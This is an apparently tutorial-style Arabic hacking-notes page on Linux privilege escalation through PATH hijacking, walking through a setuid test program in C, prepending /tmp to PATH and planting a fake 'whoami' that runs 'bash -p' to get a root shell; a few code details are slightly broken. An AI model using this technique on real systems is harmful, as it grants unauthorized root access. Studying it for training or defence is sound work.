> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md).

# اختطاف PATH (test.c) - تصعيد امتيازات لينكس

## ما هو

يستغل اختطاف PATH البرامج أو البرامج النصية ذات الامتيازات التي تستدعي الأوامر بدون مسارات مطلقة. إذا كان المهاجم يتحكم في دليل يسبق في `PATH`، يمكن للعملية ذات الامتيازات تنفيذ الملف الثنائي للمهاجم. تركز هذه الصفحة تحديدًا على **اختطاف PATH (test.c)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## أمثلة

أنشئ ملفًا في **/tmp/test.c** الدليل بالمحتوى التالي:

```c
#include <stdio.h>

int main(){
	setuid(0);
	printf("/n[+] Currently we are the next user: /n/n");
	system("/usr/bin/whoami");
	printf("/n[+] Currently we are the next user: /n/n");
	system("whoami");
	return 0;
}
```

قم بترجمة البرنامج النصي باستخدام **`gcc`** وأنشئ ملف الاختبار باستخدام **`-o`** من خلال منحه أذونات sudoers:

```bash
gcc test -o test
```

<figure><img src="/files/8876e790c11514e8771d9d374ad502b5ca7e91d0" alt="" width="563"><figcaption></figcaption></figure>

إذا شغّلت البرنامج النصي وفلترت حسب "whoami"، ستلاحظ أنه ينفذه أولًا بالمسار المطلق، ثم في **المسار النسبي**. هذه مشكلة خطيرة إذا قمنا **بتعديل $PATH**:

<figure><img src="/files/a0d14a6b2b4f85afe39edce697b5764366b9e203" alt="" width="563"><figcaption></figcaption></figure>

غيّر **$PATH** ويُعطى الأولوية لمسار /tmp:

<div data-full-width="true"><figure><img src="/files/7c68a0f05823f8f75938bd4196b4766d287e4bdc" alt="" width="563"><figcaption></figcaption></figure></div>

بعد ذلك، **أنشئ الملف التالي في tmp** الدليل:

```bash
touch whoami
chmod +x whoami
```

**أدرج** المحتوى التالي في الملف:

```bash
bash -p
```

شغّل أمر **اختبار البرنامج النصي** مرة أخرى ومع $PATH، ستحصل على وصول إلى Bash بصفتك **مستخدم الجذر**:

<figure><img src="/files/de681de2c576c26b5895727fb628d1e503fd4b07" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
